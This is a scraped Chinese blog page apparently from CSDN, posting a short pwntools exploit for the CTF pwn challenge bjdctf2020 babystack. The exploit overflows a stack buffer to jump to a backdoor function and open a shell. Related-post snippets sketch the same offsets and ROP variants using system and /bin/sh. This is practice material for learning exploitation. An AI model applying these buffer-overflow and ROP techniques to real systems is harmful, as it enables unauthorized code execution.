bjdctf2020 babystack

最新推荐文章于 2023-04-30 22:05:04 发布

「已注销」

最新推荐文章于 2023-04-30 22:05:04 发布

阅读量356

点赞数

分类专栏： pwn

本文链接：https://blog.csdn.net/pondzhang/article/details/105986709

版权

pwn 专栏收录该内容

38 篇文章 0 订阅

订阅专栏

from pwn import *
p = process('./bjdctf_2020_babystack')
p.recvuntil("length of your name:\n")
p.sendline('1024')
p.recvuntil("What's u name?\n")
payload = 'a'*12 + p32(1024) + 'a'*8 + p64(0x00000000004006E6)
p.sendline(payload)
p.interactive()

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

「已注销」

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
2
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录

BUUCTF：bjdctf_2020_babystack2（write up）

qq_44768749的博客

08-24

1595

BUUCTF：bjdctf_2020_babystack20x01文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01文件分析 64位程序，开启了栈不可执行、部分RELRO保护 0x02 运行先输入name的长度，再输入name 0x03 IDA 输入nbytes的长度要小于10 同时给出了后面函数直接getshell 0x04 思路比较nbytes和10的大小，可以利用符号溢出漏洞，输入一个负数，进而输入name的时候可以实现栈溢出跳转到后门函数ge

bjdctf_2020_babystack

m0_52231248的博客

11-07

bjdctf_2020_babystack 题目Ubuntu 16 Checksec检查一下 Ida: read函数的读取长度是我们的输入，存在溢出点，offest=0x10+0x8 然后main函数上面就是backdoor函数构造exp：成功得到flag：

2 条评论您还未登录，请先登录后发表或查看评论

【CTF】bjdctf_2020_babystack 1

凉水的博客

01-21

1330

解题思路: 1 先反编译： undefined8 main(void) { undefined local_18 [12]; uint local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,1,0); local_c = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *

[buuctf]bjdctf_2020_babystack

逆向萌新的博客

06-19

701

[buuctf]bjdctf_2020_babystack

[BUUCTF]PWN——bjdctf_2020_babystack

BangSen1的博客

03-29

311

例行检查，64位，开启NX保护运行一下，用IDA打开，检索字符串，看到了后门跟进查看。找到了地址，shelladdr=0x4006EA 查看主函数接收函数长度由我们自己决定，由此可以造成溢出。 from pwn import* r=remote('node3.buuoj.cn',25232) shelladdr=0x4006EA r.sendline('100') payload='a'*(0x10+8)+p64(shelladdr) r.sendline(payload) r.

日行一PWN bjdctf_2020_babystack 尝试动态调试？

m0_57221101的博客

06-02

455

BUUCTF在线评测 (buuoj.cn)还是buu的题，这次没什么好讲的，一道送分题，但是明白了一个道理，不要太相信ida 的伪代码，那玩意的作用是帮你快速看明白题是在干什么，而不是帮你弄清楚做出这道题的细节。尤其是数据长度部分那么直接来分析首先可以看到，只有NX，和部分RELRO保护ida静态分析也是非常干脆的给出了后门程序主函数更是简单，用scanf来输入一个数字，把这个数字作为我们之后再read中的数据MAX大小。而看上面的接收参数只有0x10个大小（看伪代码此处说只有十二个，其实有16个，非常折磨

buu bjdctf_2020_babystack2 整数溢出、栈溢出

qq_41849152的博客

09-14

192

整数溢出、栈溢出

BUUCTF pwn水题大赏（三）

o琦野o的博客

02-03

382

BUUCTF pwn水题大赏21.铁人三项(第五赛区)_2018_rop22.bjdctf_2020_babyrop23.[BJDCTF 2nd]r2t424.[BJDCTF 2nd]test25.bjdctf_2020_babystack226.bjdctf_2020_babyrop227.bjdctf_2020_router28.others_babystack29.ciscn_2019_s_430.wdb2018_guess 21.铁人三项(第五赛区)_2018_rop 32位栈溢出，利用 write

[BUUCTF]PWN18——bjdctf_2020_babystack

mcmuyanga的博客

09-02

2928

[BUUCTF]PWN18——bjdctf_2020_babystack 附件步骤：例行检查，64位，开启了nx保护试运行一下程序大概了解程序的执行过程后用64位ida打开，shift+f12先查看一下程序里的字符串看到/bin/sh双击跟进，ctrl+x找到了后门函数，shell_addr=0x4006e6 根据试运行的回显，找到了输入点一个简单的小程序，buf读入的数据长度由我们输入的nbytes来控制，所以这里可以利用它来溢出 EXP from pwn import* r=re

[BUUCTF-pwn]——bjdctf_2020_babystack

Y_peak的博客

02-10

380

[BUUCTF-pwn]——bjdctf_2020_babystack 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babystack Linux中checksec一下 , 64位的我们要小心参数小于6位的函数. IDA中看看看到这里不用我多说了吧, So easy !!! exploit from pwn import * p = remote("node3.buuoj.cn",25355) sys = 0x04006EA p.sendlinea

BUUCTF pwn——bjdctf_2020_babystack

CNS-Enterprise BCC-1701-J

03-31

241

BUUCTF 做题练习

BUUCTF PWN bjdctf_2020_babystack

Rt1Text的博客

04-23

316

1.checksec+运行 64位/NX保护 2.64位IDA进行中 1.main函数 read()函数溢出跟进buf,看看偏移 offset=0x10+8 但要注意一点: read(0, buf, (unsigned int)nbytes); 无符号整型,需要输入-1,进行整型溢出接下来就是常规的操作 backdoor函数地址 3.直接上脚本 from pwn import* #p=process('./12babystack') p=remote...

CTF buuoj pwn-----第10题: bjdctf_2020_babystack

热门推荐

bing_Max的博客

09-28

2万+

思路本体有后门函数, 最简单的是直接调用. 这里想用一下system函数,一开始忘了是32位的,写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag 编写exp from pwn import * con

bjdctf_2020_babystack题解

OrientalGlass的博客

01-08

384

send是模拟交互的情况,如果使用send(0x111)会有报错,并且发送的字符串要带上换行符,否则会无法结束输入。先输入一个整形数据用于确定buf串需要读入多少个字节,这里后续使用的是0x111。nbytes在buf下方,并且nbytes是qword类型,占8个字节。解释了为什么第一次send要使用字符串类型而不能直接发送int类型。不过这里还有一个异或就是本机运行该程序不能成功获取执行权,非常奇怪。再发送覆盖数据覆盖掉返回地址执行backdoor函数即可。首先输入一个足以覆盖掉返回地址的数字。

BUUCTF bjdctf_2020_babystack

小白垃圾笔记2

04-30

317

有的，所以我们的利用思路就是将返回地址先覆盖为pop rdi；ret 的地址，将参数(/bin/sh)传入rdi。然后再将system的地址填充进去，这样pop rdi；执行ret的时候就会去执行system。那么pop rdi;ret 后边的内容就应该是/bin/sh的地址了。有system函数调用，并且存在/bin/sh。去找有没有pop rdi ret。小白做题笔记而已，不建议阅读。64为程序用rdi传参。read函数存在栈溢出。

[BJDCTF2020]RSA